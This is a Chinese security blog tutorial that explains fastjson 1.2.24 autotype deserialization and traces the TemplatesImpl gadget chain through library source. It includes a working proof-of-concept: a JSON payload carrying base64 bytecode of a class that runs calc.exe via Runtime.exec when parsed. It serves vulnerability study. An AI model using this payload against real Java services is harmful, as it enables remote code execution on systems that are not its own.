Java篇之fastjson反序列化

fastjson反序列化

接下来我们来学习Java中的另一种反序列化,也是非常常见的一种,fastjson反序列化

fastjson是啥

fastjson是阿里巴巴的开源Json解析库,它可以解析Json格式的字符串,快速将JsonJava Bean对象相互转换,相当于就是一个JSON处理器,可以将Java Bean对象序列化JSON字符串,也可以从JSON字符串反序列化JavaBean对象

测试

首先还是得用maven来添加一波依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

然后写一个JavaBean类吧,直接用我之前那个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class People {
private String name = "Arsene.Tang";
private int age = 18;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
}

然后我们创建这个对象,并且把它序列化为Json格式输出出来看看

序列化

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.*;

public class test {
public static void main(String[] args) {
People peo = new People();
String Json = JSON.toJSONString(peo);
System.out.println(Json);
}
}

image.png

可以看到,这就是一个Json格式的字符串,而且它是通过getter方法来获取字段的值的

还有一种序列化的方式,就是多设置一个属性值,设置过后在序列化后会多写入一个@type,即写上被序列化的类名:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) {
People peo = new People();
String Json = JSON.toJSONString(peo, SerializerFeature.WriteClassName);
System.out.println(Json);
}
}

image.png

反序列化

fastjson中,用于反序列化的函数主要是下面两个:parseparseObject

parse用的不太多,public static final Object parse(String text); JSON文本反序列化为一个JSONObject对象:

image.png

那我们怎么才能返回一个People对象呢,这时候就需要用到parseObject方法了,这个方法有非常多种,根据参数的不同,返回的类型也不太同,有兴趣的朋友可以去idea里面去看,因为确实太多了我就不妨这儿了,这里就讲几个比较常见的:

1.public static final JSONObject parseObject(String text);

1
2
3
4
5
6
7
8
9
10
11
12
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject)obj;
} else {
try {
return (JSONObject)toJSON(obj);
} catch (RuntimeException var3) {
throw new JSONException("can not cast to JSONObject.", var3);
}
}
}

这个的返回值和parse一样,都是一个JSONObject对象

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.*;

public class test {
public static void main(String[] args) {
People peo = new People();
String Json = JSON.toJSONString(peo);
JSONObject obj = JSON.parseObject(Json);
System.out.println(obj.getClass());
System.out.println(obj.get("age"));
System.out.println(obj.get("name"));
}
}

image.png

2.public static final <T> T parseObject(String text, Class<T> clazz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
if (input == null) {
return null;
} else {
Feature[] var4 = features;
int var5 = features.length;

for(int var6 = 0; var6 < var5; ++var6) {
Feature feature = var4[var6];
featureValues = Feature.config(featureValues, feature, true);
}

DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
T value = parser.parseObject(clazz);
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这个方法就挺重要的,它可以把JSON文本反序列化为JavaBean对象,而这个类是我们可以指定的,它就是clazz,我们就可以把它反序列化成People对象了:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.*;

public class test {
public static void main(String[] args) {
People peo = new People();
String Json = JSON.toJSONString(peo);
Object obj = JSON.parseObject(Json,People.class);
System.out.println(obj.getClass());
People peo1 = (People) obj;
System.out.println(peo1.getAge());
System.out.println(peo1.getName());
}
}

image.png

调用getter

fastjson中,有一个autotype功能,只要json的字符串中有@type属性,那么它的值就会被反序列化成指定的类型,为了方便看清它调用了哪些方法,我们在settergetter里面都加上一句输出,然后假如我们调用parseObject方法,并且里面有@type属性的时候,它就会调用getter方法,看下图:

image.png

可以看到它调用了settergetter,那么假如getset方法中存在恶意操作,那么这样就可以触发了

既然有了getter我们就想到CB链中的调用TemplatesImpl#getOutputProperties()加载字节码的故事了

POC

我们还是先给出POC,然后再来分析它的利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.Feature;

public class test {
public static void main(String[] args) {
String json="{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT\"],\n" +
" \"_name\": \"Code\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
" }\n" +
"}";
JSON.parseObject(json, Feature.SupportNonPublicField);
}
}

其实思路是很清晰的,利用它反序列化后会调用getter方法,调用到TemplatesImpl类的getOutputProperties方法,然后触发利用链,加载字节码,虽然说思路如此,但想要仔细去推敲它的原理,其实也不是很容易

image.png

首先就是_name属性和_tfactory属性都是私有属性,而且没有public setter方法,所以说要利用这个漏洞就多了一个条件,那就是得开启Feature.SupportNonPublicField才能使用,所以说我们在parseObject中加上了这句话

我们先来看看几个属性:

  1. @type:指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplFastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性
  2. _bytecodes:是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串
  3. _outputProperties:漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行
  4. _tfactory:我们要先将_tfactory设置为空,也就是一个空的object,因为当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例
  5. _name:反正需要这个字段,值无所谓,为空也行

利用链

利用链实在是太长了,全写出来显得很啰嗦,我就只把关键的点写出来:

首先它会进入到JSON类中的parseObject()方法,然后在里面会调用到parse()方法,注意看它的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject)parse(text, features);
}
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
Feature[] var3 = features;
int var4 = features.length;

for(int var5 = 0; var5 < var4; ++var5) {
Feature feature = var3[var5];
featureValues = Feature.config(featureValues, feature, true);
}

return parse(text, featureValues);
}

然后在Feature.config里面做了一手赋值,将Feature赋值为SupportNonPublicField

image.png

然后再调进parse中,在这里创建了一个DefaultJSONParser对象

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

跟进DefaultJSONParser里面,发现它创建了一个JSONScanner对象,继续跟进:

1
2
3
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}

JsonScanner就是起到一个扫描器的作用,它会扫描字符串,直到字符队尾,然后再做匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next();
if (this.ch == '\ufeff') {
this.next();
}

}

public final char charAt(int index) {
return index >= this.len ? '\u001a' : this.text.charAt(index);
}

public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}

由于我们字符串的第一位是{,那么它的匹配就会进入到下面这个分支:

image.png

token赋值为12,所以说在接下来的switch case中,会进入到下面这个分支中:

image.png

可以看到在这里新建了一个JSONObject对象,而这个JSONObject对象是一个HashMap

image.png

然后进入到parseObject()方法中,再往后取下一位,假如下一位是"的话,则取它的字段,我们这里正好就是,于是取出@

image.png

image.png

按照这种方法一位一位的取,直到取到下一个",取到了@type,这个就是key,然后进入到下一个判断中:

image.png

image.png

进入到这里:

image.png

后面就开始读取@type的值,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,漫长的调试过程:

image.png

终于扫到了最后一个",大功告成哈哈哈:

image.png

然后就调进loadclass里面了:

image.png

这里我感觉更像是加载这个类然后返回,然后又是经过一大段调试,总算是到了一个反射获取构造方法的地方:

image.png

在这里获取暴力反射:

image.png

然后在这里获取到了getOutputProperties()方法,心心念念的getOutputProperties()方法呀

image.png

然后就是通过反射获取到所有的方法了,不断的判断方法的定义规则,最后获取字段,这个调试过程真的太折磨了,获取字段的时候先获取_bytecodes

image.png

然后这里做了一手替换,将_替换成了空:

image.png

然后就是反序列化_bytecodes字段,然后就扫描获取base64的字符串,因为它后面会进行一次解码

image.png

扫描base64字符串的过程实在是太长了,随便放张过程图吧:

image.png

image.png

image.png

最终是通过反射执行的TemplatesImpl类中的getOutputProperties方法的

就是这样了,可能中间调用链的过程也不是非常清晰,因为实在是太长了,还请师傅们谅解

参考文章:

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信